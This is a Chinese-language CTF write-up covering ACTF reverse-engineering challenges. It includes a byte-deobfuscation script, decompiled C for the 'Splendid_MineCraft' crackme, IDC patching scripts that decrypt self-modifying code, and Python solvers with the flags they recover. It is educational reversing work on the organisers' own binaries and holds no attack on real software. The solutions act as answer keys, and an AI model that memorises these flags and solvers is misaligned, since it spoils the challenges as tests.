str_enc[1] ^= 0x5B
str_enc[0] ^= 0x6E
str_enc[11] ^= 0x64
str_enc[10] -= 1
str_enc[9] ^= 3
str_enc[8] ^= 0x1E
str_enc[7] ^= str_enc[4]
str_enc[6] ^= 0xF
str_enc[5] ^= 0x56
str_enc[4] ^= 0x73
str_enc[3] ^= 0x7F
str_enc[2] ^= 0x2D
str_enc[1] ^= 0x38
str_enc[0] -= 1
str_enc[11] ^= 0x3C
str_enc[10] -= 1
str_enc[9] ^= 0x55
str_enc[8] ^= 0x21
str_enc[7] ^= 0x13
str_enc[6] ^= 0xF
str_enc[5] ^= str_enc[1]
str_enc[4] ^= 0x50
str_enc[3] ^= 0x53
str_enc[2] ^= str_enc[1]
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x2C
str_enc[11] -= 1
str_enc[10] -= 1
str_enc[9] ^= 3
str_enc[8] -= 1
str_enc[7] ^= 0x11
str_enc[6] ^= 0x5D
str_enc[5] -= 1
str_enc[4] ^= 0x73
str_enc[3] -= 1
str_enc[2] ^= 0x4A
str_enc[1] ^= 0x31
str_enc[0] ^= 0x41
str_enc[11] ^= 1
str_enc[10] -= 1
str_enc[9] ^= 0x3D
str_enc[8] ^= 4
str_enc[7] ^= 0x2D
str_enc[6] ^= str_enc[2]
str_enc[5] ^= 0x53
str_enc[4] ^= 0x5E
str_enc[3] ^= str_enc[2]
str_enc[2] ^= 0x78
str_enc[1] -= 1
str_enc[0] ^= 0x17
str_enc[11] -= 1
str_enc[10] -= 1
str_enc[9] -= 1
str_enc[8] ^= 0x64
str_enc[7] -= 1
str_enc[6] ^= 0xF
str_enc[5] ^= str_enc[0]
str_enc[4] ^= 0x1E
str_enc[3] ^= 0x4B
str_enc[2] ^= str_enc[1]
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x5D
str_enc[11] -= 1
str_enc[10] -= 1
str_enc[9] ^= 0x78
str_enc[8] ^= str_enc[2]
str_enc[7] ^= 0xA
str_enc[6] ^= 0x3C
str_enc[5] ^= 0x52
str_enc[4] ^= 0x60
str_enc[3] ^= 0x30
str_enc[2] ^= 0x36
str_enc[1] -= 1
str_enc[0] ^= 0x77
str_enc[11] ^= 0x29
str_enc[10] ^= 0x42
str_enc[9] ^= 0x20
str_enc[8] ^= 0xD
str_enc[7] -= 1
str_enc[6] ^= 0x35
str_enc[5] ^= 0x1B
str_enc[4] ^= 1
str_enc[3] ^= 0x29
str_enc[2] ^= str_enc[0]
str_enc[1] ^= 0x59
str_enc[0] ^= 0x22
str_enc[11] ^= 0x73
str_enc[10] ^= 0x16
str_enc[9] ^= 0x4E
str_enc[8] ^= 0x27
str_enc[7] -= 1
str_enc[6] ^= 0x32
str_enc[5] ^= 0x4A
str_enc[4] ^= str_enc[2]
str_enc[3] ^= 0x29
str_enc[2] -= 1
str_enc[1] -= 1
str_enc[0] ^= 0x43
str_enc[11] -= 1
str_enc[10] ^= 0x37
str_enc[9] ^= 0x4A
str_enc[8] ^= 0x3C
str_enc[7] ^= str_enc[2]
str_enc[6] ^= 0x4C
str_enc[5] ^= 0xA
str_enc[4] ^= 0x4D
str_enc[3] ^= 0x38
str_enc[2] ^= 0x52
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x71
str_enc[11] ^= str_enc[6]
str_enc[10] ^= 0x77
str_enc[9] ^= 0x72
str_enc[8] ^= 0x46
str_enc[7] ^= 0x7C
str_enc[6] ^= 0x6D
str_enc[5] ^= 0x48
str_enc[4] ^= 0x55
str_enc[3] ^= 0x50
str_enc[2] ^= 0x7C
str_enc[1] ^= 0x48
str_enc[0] -= 1
str_enc[11] ^= 7
str_enc[10] ^= str_enc[9]
str_enc[9] ^= 0x39
str_enc[8] ^= 0x34
str_enc[7] ^= str_enc[3]
str_enc[6] ^= 0x5E
str_enc[5] ^= 0x64
str_enc[4] ^= 0x13
str_enc[3] ^= 0x50
str_enc[2] ^= 9
str_enc[1] ^= 0x49
str_enc[0] -= 1
str_enc[11] ^= 0x4C
str_enc[10] -= 1
str_enc[9] ^= 0x64
str_enc[8] ^= 0x36
str_enc[7] ^= 0x51
str_enc[6] ^= 0x6F
str_enc[5] ^= 8
str_enc[4] ^= 0x78
str_enc[3] ^= 0x2D
str_enc[2] -= 1
str_enc[1] ^= 0x7F
str_enc[0] ^= 0x36
str_enc[11] ^= str_enc[2]
str_enc[10] ^= 0x12
str_enc[9] ^= str_enc[2]
str_enc[8] ^= 0x2F
str_enc[7] ^= 0x1D
str_enc[6] ^= 0x5C
str_enc[5] -= 1
str_enc[4] ^= 0x11
str_enc[3] ^= 0x11
str_enc[2] ^= 0xC
str_enc[1] ^= 0x2C
str_enc[0] ^= 0x79
str_enc[11] ^= 8
str_enc[10] ^= 0x53
str_enc[9] ^= 0x65
str_enc[8] ^= 0x3C
str_enc[7] ^= 0x1B
str_enc[6] -= 1
str_enc[5] -= 1
str_enc[4] ^= 4
str_enc[3] ^= str_enc[1]
str_enc[2] ^= 0x27
str_enc[1] ^= 0x6E
str_enc[0] ^= 0x2C
str_enc[11] ^= 0x4B
str_enc[10] ^= 0x55
str_enc[9] ^= 0x58
str_enc[8] ^= 0x4B
str_enc[7] ^= str_enc[4]
str_enc[6] ^= 0x3F
str_enc[5] ^= str_enc[4]
str_enc[4] ^= 0x39
str_enc[3] ^= 0x20
str_enc[2] ^= 0x17
str_enc[1] ^= 0x15
str_enc[0] ^= 0x20
str_enc[11] ^= 0x3B
str_enc[10] ^= 0x70
str_enc[9] ^= 0x3C
str_enc[8] ^= 0x5B
str_enc[7] ^= 2
str_enc[6] ^= str_enc[5]
str_enc[5] ^= 0x21
str_enc[4] ^= 0x3C
str_enc[3] -= 1
str_enc[2] ^= 0x44
str_enc[1] ^= 0x4B
str_enc[0] -= 1
str_enc[11] ^= 0x58
str_enc[10] ^= 0x20
str_enc[9] -= 1
str_enc[8] ^= 0x45
str_enc[7] ^= 4
str_enc[6] ^= 0x77
str_enc[5] ^= 0x76
str_enc[4] ^= 0x1E
str_enc[3] -= 1
str_enc[2] ^= 0x33
str_enc[1] ^= 0x54
str_enc[0] ^= 0x4F
str_enc[11] ^= 0x59
str_enc[10] ^= 0x13
str_enc[9] ^= 0x39
str_enc[8] ^= str_enc[6]
str_enc[7] ^= 0x2E
str_enc[6] -= 1
str_enc[5] ^= 0x3B
str_enc[4] ^= 0x6F
str_enc[3] ^= 0x6A
str_enc[2] ^= str_enc[0]
str_enc[1] ^= 0x4F
str_enc[0] ^= 0x6B
str_enc[11] ^= 0xB
str_enc[10] -= 1
str_enc[9] ^= 0x7F
str_enc[8] -= 1
str_enc[7] ^= 0x3A
str_enc[6] ^= 0x5E
str_enc[5] ^= 0x14
str_enc[4] ^= 0x65
str_enc[3] ^= 0x7E
str_enc[2] -= 1
str_enc[1] -= 1
str_enc[0] ^= 0x4B
str_enc[11] ^= 0x20
str_enc[10] ^= str_enc[4]
str_enc[9] ^= str_enc[1]
str_enc[8] ^= 0x2E
str_enc[7] ^= 4
str_enc[6] -= 1
str_enc[5] ^= 0x38
str_enc[4] ^= 0x7B
str_enc[3] ^= str_enc[0]
str_enc[2] ^= 0x3B
str_enc[1] -= 1
str_enc[0] ^= 0x30
str_enc[11] ^= str_enc[4]
str_enc[10] ^= 0x56
str_enc[9] ^= 0x4F
str_enc[8] -= 1
str_enc[7] ^= 0x67
str_enc[6] ^= 0x7D
str_enc[5] ^= 0x14
str_enc[4] ^= str_enc[2]
str_enc[3] ^= 0x3D
str_enc[2] ^= 0x48
str_enc[1] ^= 0x23
str_enc[0] -= 1
str_enc[11] ^= 0x75
str_enc[10] -= 1
str_enc[9] -= 1
str_enc[8] ^= 0x46
str_enc[7] ^= 0x68
str_enc[6] ^= str_enc[1]
str_enc[5] ^= 0x1A
str_enc[4] ^= 0x55
str_enc[3] ^= 0x5D
str_enc[2] ^= 0x63
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x66
str_enc[11] ^= 0x30
str_enc[10] ^= 0x7E
str_enc[9] ^= 0x74
str_enc[8] ^= 0x44
str_enc[7] ^= 0x2E
str_enc[6] ^= 0x44
str_enc[5] -= 1
str_enc[4] -= 1
str_enc[3] -= 1
str_enc[2] ^= 0x72
str_enc[1] -= 1
str_enc[0] ^= 0x3F
str_enc[11] ^= 0x48
str_enc[10] ^= str_enc[1]
str_enc[9] ^= 0x56
str_enc[8] ^= 0x5E
str_enc[7] ^= 0x3C
str_enc[6] ^= 0x20
str_enc[5] ^= 0x7F
str_enc[4] ^= 0x3E
str_enc[3] ^= 0xA
str_enc[2] ^= 0x27
str_enc[1] ^= 0x4E
str_enc[0] ^= 0x3A
str_enc[11] -= 1
str_enc[10] ^= 0x19
str_enc[9] ^= 0x25
str_enc[8] ^= 0x1E
str_enc[7] ^= 0x6B
str_enc[6] ^= 0x6D
str_enc[5] ^= 0x74
str_enc[4] -= 1
str_enc[3] ^= 0x7A
str_enc[2] ^= str_enc[0]
str_enc[1] ^= 0x2C
str_enc[0] ^= 0x3E
str_enc[11] ^= 0xB
str_enc[10] ^= 0x37
str_enc[9] ^= 0x2E
str_enc[8] ^= 0x4A
str_enc[7] ^= 0x7B
str_enc[6] ^= 0xB
str_enc[5] ^= 0x16
str_enc[4] ^= 0x67
str_enc[3] -= 1
str_enc[2] -= 1
str_enc[1] ^= 0x6F
str_enc[0] -= 1
str_enc[11] ^= 0x7D
str_enc[10] ^= 0x7A
str_enc[9] ^= 0x6F
str_enc[8] ^= 0x7B
str_enc[7] ^= 0x52
str_enc[6] ^= 0xE
str_enc[5] ^= 0x2C
str_enc[4] ^= 0x34
str_enc[3] ^= 0x62
str_enc[2] ^= 0x1B
str_enc[1] ^= 7
str_enc[0] ^= 0x7E
str_enc[11] ^= 0x13
str_enc[10] ^= 0x25
str_enc[9] ^= 0x44
str_enc[8] ^= str_enc[2]
str_enc[7] ^= 0x61
str_enc[6] ^= 6
str_enc[5] -= 1
str_enc[4] ^= 0x72
str_enc[3] -= 1
str_enc[2] ^= 0x49
str_enc[1] ^= 0x7E
str_enc[0] ^= 0x7F
str_enc[11] ^= str_enc[1]
str_enc[10] ^= 0x30
str_enc[9] ^= 0x15
str_enc[8] ^= 0x16
str_enc[7] ^= 0x56
str_enc[6] ^= str_enc[2]
str_enc[5] ^= 0x72
str_enc[4] ^= 0x11
str_enc[3] -= 1
str_enc[2] ^= 0x72
str_enc[1] ^= 0x1F
str_enc[0] ^= 0x42
str_enc[11] ^= 0x24
str_enc[10] -= 1
str_enc[9] ^= 0x31
str_enc[8] ^= 0x58
str_enc[7] ^= 0x7A
str_enc[6] ^= 8
str_enc[5] ^= 0x29
str_enc[4] ^= 0x76
str_enc[3] ^= 6
str_enc[2] ^= str_enc[0]
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x6C
str_enc[11] -= 1
str_enc[10] -= 1
str_enc[9] ^= 0x2E
str_enc[8] ^= 0x68
str_enc[7] ^= 0x3A
str_enc[6] ^= 0x5C
str_enc[5] ^= 9
str_enc[4] -= 1
str_enc[3] ^= 0x40
str_enc[2] ^= 0x18
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x1A
str_enc[11] ^= str_enc[3]
str_enc[10] ^= 0x26
str_enc[9] ^= 0x43
str_enc[8] ^= 0x1C
str_enc[7] ^= 0x35
str_enc[6] ^= 0x5A
str_enc[5] ^= 0x63
str_enc[4] ^= 0x73
str_enc[3] ^= str_enc[1]
str_enc[2] ^= 0x16
str_enc[1] ^= 0x16
str_enc[0] ^= 0x5C
str_enc[11] ^= 0x7F
str_enc[10] ^= 0x6E
str_enc[9] ^= 0x36
str_enc[8] -= 1
str_enc[7] ^= 0x2B
str_enc[6] ^= str_enc[5]
str_enc[5] ^= 0x75
str_enc[4] ^= 0x38
str_enc[3] ^= str_enc[0]
str_enc[2] ^= 0x7C
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x75
str_enc[11] ^= 0x28
str_enc[10] ^= 0x6A
str_enc[9] ^= 0x2B
str_enc[8] ^= str_enc[6]
str_enc[7] ^= 0x18
str_enc[6] ^= 0x38
str_enc[5] ^= 0x4A
str_enc[4] ^= 0x68
str_enc[3] ^= 0x53
str_enc[2] -= 1
str_enc[1] ^= 0x45
str_enc[0] -= 1
str_enc[11] ^= 0x50
str_enc[10] ^= 0x30
str_enc[9] ^= 0x77
str_enc[8] ^= str_enc[4]
str_enc[7] ^= str_enc[0]
str_enc[6] ^= 0x36
str_enc[5] ^= str_enc[0]
str_enc[4] ^= 0x33
str_enc[3] ^= 0x2F
str_enc[2] ^= 0x20
str_enc[1] ^= str_enc[0]
str_enc[0] ^= 0x14
str_enc[11] ^= 0x26
str_enc[10] ^= 0x2D
str_enc[9] ^= 0x34
str_enc[8] ^= 0x11
str_enc[7] ^= 0x23
str_enc[6] -= 1
str_enc[5] ^= 0x74
str_enc[4] ^= 0x51
str_enc[3] ^= 0x68
str_enc[2] ^= 0x5C
str_enc[1] -= 1
str_enc[0] ^= 0x3A
str_enc[11] ^= 2
str_enc[10] ^= 0x4B
str_enc[9] ^= 0x66
str_enc[8] ^= 0x27
str_enc[7] ^= 0x23
str_enc[6] ^= 0x69
str_enc[5] ^= 0x67
str_enc[4] ^= 0x55
str_enc[3] ^= 0x4C
str_enc[2] ^= 0x7D
str_enc[1] ^= 0x2C
str_enc[0] ^= 0x7D
str_enc[11] ^= 0x2A
str_enc[10] ^= str_enc[4]
str_enc[9] ^= 0x1D
str_enc[8] ^= 0x5C
str_enc[7] ^= 0x2B
str_enc[6] ^= 0x17
str_enc[5] ^= 0x73
str_enc[4] ^= 0x6C
str_enc[3] ^= 0x4E
str_enc[2] ^= 0x75
str_enc[1] ^= 0x5C
str_enc[0] ^= 0x43
str_enc[11] ^= 0x15
str_enc[10] ^= 0x26
str_enc[9] ^= 0xC
str_enc[8] ^= 0x68
str_enc[7] ^= 0x4C
str_enc[6] ^= 0x15
str_enc[5] ^= 0x60
str_enc[4] ^= 0x26
str_enc[3] ^= str_enc[1]
str_enc[2] ^= 0x33
str_enc[1] ^= 0x14
str_enc[0] ^= 0x66
str_enc[11] ^= 0x42
str_enc[10] ^= 0x44
str_enc[9] ^= 0x7E
str_enc[8] ^= 0x16
str_enc[7] ^= str_enc[2]
str_enc[6] ^= 0x45
str_enc[5] ^= 0x2F
str_enc[4] ^= 0xC
str_enc[3] ^= 0x29
str_enc[2] ^= 0x27
str_enc[1] ^= 0x33
str_enc[0] ^= 1
str_enc[11] ^= 0x14
str_enc[10] ^= 0x5C
str_enc[9] ^= 0x69
str_enc[8] ^= 0x33
str_enc[7] -= 1
str_enc[6] ^= 0x62
str_enc[5] ^= 0x42
str_enc[4] ^= 0x3F
str_enc[3] ^= str_enc[1]
str_enc[2] ^= 0x47
str_enc[1] ^= 0x2C
str_enc[0] ^= 0x29
str_enc[11] -= 1
str_enc[10] ^= 0x16
str_enc[9] -= 1
str_enc[8] ^= 0x29
str_enc[7] ^= str_enc[5]
str_enc[6] ^= 0x61
str_enc[5] ^= 0x41
str_enc[4] ^= 0x68
str_enc[3] ^= 0x22
str_enc[2] ^= 0x49
str_enc[1] ^= 0x37
str_enc[0] ^= 0x2A
str_enc[11] ^= 0x59
str_enc[10] ^= str_enc[2]
str_enc[9] ^= 0x7C
str_enc[8] ^= 0x34
str_enc[7] ^= 0x17
str_enc[6] ^= 0x73
str_enc[5] ^= 0x44
str_enc[4] ^= 0x5E
str_enc[3] ^= str_enc[1]
str_enc[2] ^= 0x7D
str_enc[1] ^= 0x21
str_enc[0] ^= 0xF
str_enc[11] -= 1
str_enc[10] ^= 0x20
str_enc[9] ^= str_enc[1]
str_enc[8] ^= 7
str_enc[7] ^= 0x54
str_enc[6] ^= 0x67
str_enc[5] ^= 0x71
str_enc[4] ^= 0x26
str_enc[3] ^= 0x73
str_enc[2] ^= 0x26
str_enc[1] ^= 0x21
str_enc[0] ^= 0x7C
str_enc[11] ^= str_enc[9]
str_enc[10] ^= 1
str_enc[9] ^= 0xB
str_enc[8] ^= 0x19
str_enc[7] ^= 0x73
str_enc[6] ^= 0x61
str_enc[5] -= 1
str_enc[4] ^= 0xB
str_enc[3] ^= 0x15
str_enc[2] ^= 0x5B
str_enc[1] ^= 0x7D
str_enc[0] -= 1
str_enc[11] -= 1
str_enc[10] ^= 0x7C
str_enc[9] ^= 0x7A
str_enc[8] ^= 0x76
str_enc[7] ^= 0x41
str_enc[6] ^= 0x67
str_enc[5] ^= str_enc[4]
str_enc[4] ^= 0x27
str_enc[3] ^= 0x50
str_enc[2] -= 1
str_enc[1] ^= 0x58
str_enc[0] ^= 0x7C
str_enc[11] ^= 0x27
str_enc[10] ^= 0x57
str_enc[9] ^= 0x1B
str_enc[8] ^= 0x3E
str_enc[7] ^= 0x57
str_enc[6] ^= str_enc[2]
str_enc[5] ^= 0x6D
str_enc[4] ^= 4
str_enc[3] ^= 5
str_enc[2] -= 1
str_enc[1] ^= 0x6F
str_enc[0] ^= 2
str_enc[11] ^= 0x22
str_enc[10] -= 1
str_enc[9] ^= 0x74
str_enc[8] ^= 0x32
str_enc[7] ^= 0x61
str_enc[6] ^= 7
str_enc[5] ^= 0x63
str_enc[4] ^= 0x41
str_enc[3] ^= 0x66
str_enc[2] ^= 0x52
str_enc[1] ^= 0x74
str_enc[0] ^= 0x73
str_enc[11] -= 1
str_enc[10] ^= 0x65
str_enc[9] ^= 0x2B
str_enc[8] ^= 0x3B
str_enc[7] ^= 0x10
str_enc[6] ^= 0x41
str_enc[5] -= 1
str_enc[4] ^= 0x68
str_enc[3] ^= 7
str_enc[2] ^= 0x75
str_enc[1] -= 1
str_enc[0] ^= 0x73
str_enc[11] ^= str_enc[5]
str_enc[10] ^= 0x6E
str_enc[9] -= 1
str_enc[8] ^= 0x47
str_enc[7] ^= 0x5D
str_enc[6] ^= str_enc[4]
str_enc[5] ^= 0xC
str_enc[4] ^= 0x72
str_enc[3] ^= str_enc[0]
str_enc[2] ^= str_enc[1]
str_enc[1] ^= 0x22
str_enc[0] ^= 0x16
str_enc[11] ^= 0x52
str_enc[10] ^= 0x1E
str_enc[9] ^= 0xE
str_enc[8] ^= 0x2C
str_enc[7] ^= str_enc[2]
str_enc[6] ^= 0x6E
str_enc[5] ^= 0x78
str_enc[4] ^= 0x17
str_enc[3] ^= 0x29
str_enc[2] ^= 0x49
str_enc[1] ^= 0x76
str_enc[0] -= 1
str_enc[11] -= 1
str_enc[10] -= 1
str_enc[9] ^= 0x6D
str_enc[8] ^= str_enc[7]
str_enc[7] ^= str_enc[6]
str_enc[6] ^= 0x6D
str_enc[5] -= 1
str_enc[4] ^= 0x1F
str_enc[3] ^= 0x72
str_enc[2] ^= str_enc[1]
str_enc[1] ^= 0x55
str_enc[0] -= 1
str_enc[11] ^= 0x1F
str_enc[10] -= 1
str_enc[9] ^= 0x70
str_enc[8] ^= 0xC
str_enc[7] ^= 0x59
str_enc[6] ^= 0x69
str_enc[5] -= 1
str_enc[4] ^= 0x37
str_enc[3] ^= str_enc[2]
str_enc[2] ^= 0x73
str_enc[1] ^= 0xD
str_enc[0] -= 1
str_enc[11] ^= 0xA
str_enc[10] ^= 0x2F
str_enc[9] -= 1
str_enc[8] ^= 8
str_enc[7] ^= 0x28
str_enc[6] ^= 0x2D
str_enc[5] ^= 3
str_enc[4] ^= 0x39
str_enc[3] ^= 0x56
str_enc[2] ^= 0x7E
str_enc[1] ^= 0x6C
str_enc[0] ^= 0x2B


for i in range(0, len(str_enc)):
str_enc[i] = chr(str_enc[i])

print 'actf{' + ''.join(str_enc) + '}'

Flag:

1
actf{b0Nf|Re_LiT!}

Splendid_MineCraft

Description:

**S**plendid **M**ine**C**raft!

hint1:“找到main了吗?不如康康输出在哪里”
hint2:“听说你知道smc?”
点击这里,开始你的比赛!


Solution:

主要函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
int sub_401080()
{
char *v0; // eax
char *v1; // eax
char *v2; // ST28_4
signed int i; // [esp+14h] [ebp-54h]
int v5; // [esp+20h] [ebp-48h]
char Str1; // [esp+24h] [ebp-44h]
char v7; // [esp+3Dh] [ebp-2Bh]
int v8; // [esp+44h] [ebp-24h]
__int16 v9; // [esp+48h] [ebp-20h]
char v10[4]; // [esp+4Ch] [ebp-1Ch]
__int16 v11; // [esp+50h] [ebp-18h]
int v12; // [esp+54h] [ebp-14h]
__int16 v13; // [esp+58h] [ebp-10h]
int v14; // [esp+5Ch] [ebp-Ch]
__int16 v15; // [esp+60h] [ebp-8h]

sub_401020(&unk_404118, "Welcome to ACTF_Splendid_MineCraft!");
sub_401050(&unk_40411C, &Str1);
if ( strlen(&Str1) == 26 )
{
if ( !strncmp(&Str1, "ACTF{", 5u) && v7 == '}' )
{
v7 = 0;
v0 = strtok(&Str1, "_");
v12 = *(v0 + 5);
v13 = *(v0 + 9);
v14 = *(v0 + 5);
v15 = *(v0 + 9);
v1 = strtok(0, "_");
v8 = *v1;
v9 = *(v1 + 2);
v2 = strtok(0, "_");
*v10 = *v2;
v11 = *(v2 + 2);
dword_403354 = dword_4051D8;
if ( (dword_4051D8[0])(&v12) )
{
v5 = SBYTE2(v14) ^ SHIBYTE(v15) ^ v14 ^ SHIBYTE(v14) ^ SBYTE1(v14) ^ v15;
for ( i = 256; i < 496; ++i )
byte_405018[i] ^= v5;
JUMPOUT(__CS__, &byte_405018[256]);
}
sub_401020("Wrong\n");
}
else
{
sub_401020("Wrong\n");
}
}
else
{
sub_401020("Wrong\n");
}
return 0;
}

能看出这里用了 self-Modifying Code 所以我们在JUMPOUT(__CS__, &byte_405018[256]);处下断点,查看程序

这是一开始反汇编出来的程序,后面的反汇编存在断层,所以我们可以根据这个函数自己写脚本复原

1
2
3
4
5
6
7
8
void sub_12451D8()
{
signed int i; // edi

for ( i = 0; i <= 337; ++i )
*((_BYTE *)&loc_12451FC + i) ^= 0x72u;
JUMPOUT(unk_124525E);
}

脚本如下,每次 IDA 加载的基址都不一样,脚本按自己的地址来写:

1
2
3
4
5
6
7
8
9
#include <idc.idc>

static main(){
auto addr = 0x405018 + 0x1e4;
auto i;
for(i = 0; i <= 337; ++i){
PatchByte(addr + i, Byte(addr + i) ^ 0x72);
}
}

解密完函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
BOOL __usercall sub_4051D8@<eax>(int a1@<ebp>, int a2)
{
signed int i; // edi
char v4; // [esp-2Bh] [ebp-2Fh]
char v5; // [esp-2Ah] [ebp-2Eh]
char v6; // [esp-29h] [ebp-2Dh]
char v7; // [esp-28h] [ebp-2Ch]
char v8; // [esp-27h] [ebp-2Bh]
char v9; // [esp-26h] [ebp-2Ah]
char v10; // [esp-25h] [ebp-29h]
char v11; // [esp-24h] [ebp-28h]
char v12; // [esp-18h] [ebp-1Ch]
char v13; // [esp-17h] [ebp-1Bh]
char v14; // [esp-16h] [ebp-1Ah]
char v15; // [esp-15h] [ebp-19h]
char v16; // [esp-14h] [ebp-18h]
char v17; // [esp-13h] [ebp-17h]
signed int v18; // [esp-Ch] [ebp-10h]
int v19; // [esp-8h] [ebp-Ch]
signed int j; // [esp-4h] [ebp-8h]
int v21; // [esp+0h] [ebp-4h]

v21 = 4215261;
for ( i = 0; i <= 337; ++i )
*(&loc_4051FC + i) ^= 0x72u;
v21 = a1;
v19 = 0;
v12 = 51;
v13 = 64;
v14 = 49;
v15 = 98;
v16 = 59;
v17 = 98;
v4 = 101;
v5 = 108;
v6 = 99;
v7 = 111;
v8 = 109;
v9 = 101;
v10 = 32;
v18 = 8;
JUMPOUT(8, 10, &loc_4052D0);
v11 = 0;
for ( j = 0; j < 6; ++j )
{
*(&v21 + j - 32) = (*(&v21 + j - 43) ^ *(&v21 + j - 24)) + 35;
if ( *(&v21 + j - 32) == *(j + a2) )
++v19;
}
return v19 == 6;
}

if ( *(&v21 + j - 32) == *(j + a2) )下个断点,对于 0x405018 的相对偏移是 0x30a,edx 的值为 flag 的字符

于是每位每位看即可得到前 6 位字符,为 yOu0y*

之后通过调试得到一开始函数内第二次加密所需的 v5 变量的数值为 0x20,接着使用如下脚本:

1
2
3
4
5
6
7
8
9
#include <idc.idc>

static main(){
auto addr = 0x405018;
auto i;
for(i = 0x100; i <= 0x1f0; ++i){
PatchByte(addr + i, Byte(addr + i) ^ 0x20);
}
}

解码后对应 c 代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
int __usercall sub_13D5118@<eax>(int a1@<eax>, int a2@<ecx>, int a3@<esi>)
{
signed int i; // edi
int v4; // ebx
signed int j; // edi
signed int v6; // edi
int v7; // eax

for ( i = 0; i < 6; ++i )
{
a2 = *(a3 + i);
v4 = *(a1 + i + 18);
*(a1 + i + 24) = a2;
}
for ( j = 0; j < 6; ++j )
{
a2 = *(a1 + j + 24);
*(a3 + j) = a2;
}
v6 = 0;
while ( 1 )
{
if ( v6 >= 6 )
return ((a2 + 18))();
v7 = a1 - 256;
a2 = v6 + 131;
LOBYTE(a2) = *(v7 + v6 + 358);
if ( *(v7 + ((v6 + 131) ^ *(a3 + v6))) != a2 )
break;
++v6;
a1 = v7 + 256;
}
return ((a2 + 18))();
}

经过汇编调试后大致的意思如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
table1 = [0xF6, 0xA3, 0x5B, 0x9D, 0xE0, 0x95, 0x98, 0x68, 0x8C, 0x65,
0xBB, 0x76, 0x89, 0xD4, 0x09, 0xFD, 0xF3, 0x5C, 0x3C, 0x4C,
0x36, 0x8E, 0x4D, 0xC4, 0x80, 0x44, 0xD6, 0xA9, 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, 0x92, 0xDC, 0xDD, 0x9C, 0x3F, 0x55, 0x96, 0xA1, 0x9F,
0xCD, 0x9B, 0xE3, 0xA0, 0xA7, 0xFC, 0xC1, 0x78, 0x10, 0x2E,
0x82, 0x8F, 0x30, 0x54, 0x04, 0xAC, 0x41, 0x93, 0xD3, 0x3B,
0xEF, 0x03, 0x81, 0x70, 0xA6, 0x1F, 0x22, 0x26, 0x28, 0x6A,
0xAB, 0x87, 0xAD, 0x49, 0x0F, 0xAF, 0x90, 0x90, 0x33, 0xFF,
0x51, 0x53, 0x83, 0xFF, 0x06, 0x7D, 0x20, 0x33, 0xC9, 0x8A,
0x0C, 0x3E, 0xEB, 0x0C, 0x12, 0x34, 0x56, 0x78, 0x9A, 0x05,
0x30, 0x39, 0x31, 0x33, 0x34, 0x35]

table2 = [0x30, 4, 4, 3, 0x30, 0x63]

str_input = '123456'
list(str_input)
for i in range(0, len(str_input)):
cache = (i + 0x83) ^ ord(str_input[i])
tmp = table1[cache]
if tmp == cache:
print 'one byte success'

依照这个来写解密脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import string

table1 = [0xF6, 0xA3, 0x5B, 0x9D, 0xE0, 0x95, 0x98, 0x68, 0x8C, 0x65,
0xBB, 0x76, 0x89, 0xD4, 0x09, 0xFD, 0xF3, 0x5C, 0x3C, 0x4C,
0x36, 0x8E, 0x4D, 0xC4, 0x80, 0x44, 0xD6, 0xA9, 0x01, 0x32,
0x77, 0x29, 0x90, 0xBC, 0xC0, 0xA8, 0xD8, 0xF9, 0xE1, 0x1D,
0xE4, 0x67, 0x7D, 0x2A, 0x2C, 0x59, 0x9E, 0x3D, 0x7A, 0x34,
0x11, 0x43, 0x74, 0xD1, 0x62, 0x60, 0x02, 0x4B, 0xAE, 0x99,
0x57, 0xC6, 0x73, 0xB0, 0x33, 0x18, 0x2B, 0xFE, 0xB9, 0x85,
0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D, 0x49, 0x0F, 0xAF, 0x90, 0x90, 0x33, 0xFF,
0x51, 0x53, 0x83, 0xFF, 0x06, 0x7D, 0x20, 0x33, 0xC9, 0x8A,
0x0C, 0x3E, 0xEB, 0x0C, 0x12, 0x34, 0x56, 0x78, 0x9A, 0x05,
0x30, 0x39, 0x31, 0x33, 0x34, 0x35]

table2 = [0x30, 4, 4, 3, 0x30, 0x63]

str_res = []
for i in range(0, len(table2)):
for j in range(0, len(table1)):
if table1[j] == table2[i]:
tmp = chr((len(str_res) + 0x83) ^ j)
str_res.append(tmp)
break

print ''.join(str_res)

可以解得 knowo3,最后一部分在内存中显示了,直接复制就好,如下:

1
2
3
4
.text:011912CB push    offset a5mcsm                   ; "5mcsM<"
.text:011912D0 lea ecx, [ebp+var_1C]
.text:011912D3 push ecx ; Str1
.text:011912D4 call ds:strncmp

Flag:

1
ACTF{yOu0y*_knowo3_5mcsM<}

ding(未解出)

Description:

Ding!
点击这里,开始你的比赛!


Solution:

exp如下:

1
2



Flag:

1
动态靶机

Universe_final_answer

Description:

超级计算机“deep thought”用700万年的思考得出了宇宙终极问题的答案,但是答案却遗失了。而你则是需要从它的程序中找出终极答案到底是什么。
点击这里,开始你的比赛!


Solution:

程序主函数如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
__int64 v4; // [rsp+0h] [rbp-A8h]
char v5; // [rsp+20h] [rbp-88h]
unsigned __int64 v6; // [rsp+88h] [rbp-20h]

v6 = __readfsqword(0x28u);
__printf_chk(1LL, "Please give me the key string:", a3);
scanf("%s", &v5);
if ( sub_860(&v5) )
